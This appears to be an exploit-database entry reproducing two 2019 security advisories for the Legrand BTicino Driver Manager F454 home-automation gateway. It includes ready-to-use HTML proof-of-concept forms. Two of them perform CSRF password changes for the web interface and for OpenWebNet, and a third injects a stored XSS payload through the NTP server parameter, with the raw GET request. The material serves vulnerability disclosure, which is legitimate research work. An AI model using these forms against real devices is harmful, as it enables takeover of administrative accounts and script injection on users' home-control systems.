header-logo
Suggest Exploit
vendor:
Driver Manager F454
by:
Gjoko 'LiquidWorm' Krstic
8.8
CVSS
HIGH
CSRF Change Password Exploit
352
CWE
Product Name: Driver Manager F454
Affected Version From: 1.0.51
Affected Version To: 1.1.14
Patch Exists: NO
Related CWE: N/A
CPE: h:bticino:driver_manager_f454
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Apache/2.2.14 (Unix), OpenSSL/1.0.0d, PHP/5.1.6
2019

Legrand BTicino Driver Manager F454 1.0.51 CSRF Change Password Exploit

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Implementing proper input validation and authentication checks.
Source

Exploit-DB raw data:

<!--

Legrand BTicino Driver Manager F454 1.0.51 CSRF Change Password Exploit


Vendor: BTicino S.p.A.
Product web page: https://www.bticino.com

Affected version: Hardware Platform: F454
                  Firmware version: 1.0.51
                  Driver Manager version: 1.1.14

Summary: Audio/video web server for the remote control of the
system using web pages or the MY HOME portal. The device can
operate as a gateway for the use of the MHVisual and Virtual
Configurator software - 6 DIN modules. It replaces item F453
and F453AV.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Apache/2.2.14 (Unix)
           OpenSSL/1.0.0d
           PHP/5.1.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                  @zeroscience


Advisory ID: ZSL-2019-5521
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5521.php

30.04.2019

-->


<!-- CSRF PoC web access password change -->
<html>
  <body>
    <form action="http://192.168.1.66:8080/system/password.save.php" method="POST">
      <input type="hidden" name="password1" value="newpass123" />
      <input type="hidden" name="password2" value="newpass123" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


<!-- CSRF PoC OpenWebNet password change -->
<html>
  <body>
    <form action="http://192.168.1.66:8080/system/ownpassword.save.php" method="POST">
      <input type="hidden" name="ownpassword" value="ilegnisi" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


<!--

Legrand BTicino Driver Manager F454 1.0.51 Authenticated Stored XSS Exploit


Vendor: BTicino S.p.A.
Product web page: https://www.bticino.com

Affected version: Hardware Platform: F454
                  Firmware version: 1.0.51
                  Driver Manager version: 1.1.14

Summary: Audio/video web server for the remote control of the
system using web pages or the MY HOME portal. The device can
operate as a gateway for the use of the MHVisual and Virtual
Configurator software - 6 DIN modules. It replaces item F453
and F453AV.

Desc: The application suffers from an authenticated stored XSS
via GET request. The issue is triggered when input passed via
the GET parameter 'server' is not properly sanitized before
being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache/2.2.14 (Unix)
           OpenSSL/1.0.0d
           PHP/5.1.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                  @zeroscience


Advisory ID: ZSL-2019-5522
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5522.php

30.04.2019

-->


<!-- Stored XSS via GET request -->
<html>
  <body>
    <form action="http://192.168.1.66:8080/system/time.ntp.php">
      <input type="hidden" name="mode" value="mine" />
      <input type="hidden" name="server" value='"><marquee>Waddup.</marquee>' />
      <input type="submit" value="Signal" />
    </form>
  </body>
</html>

<!-- GET http://192.168.1.66:8080/system/time.ntp.php?mode=mine&server="><marquee>Waddup.</marquee> HTTP/1.1 -->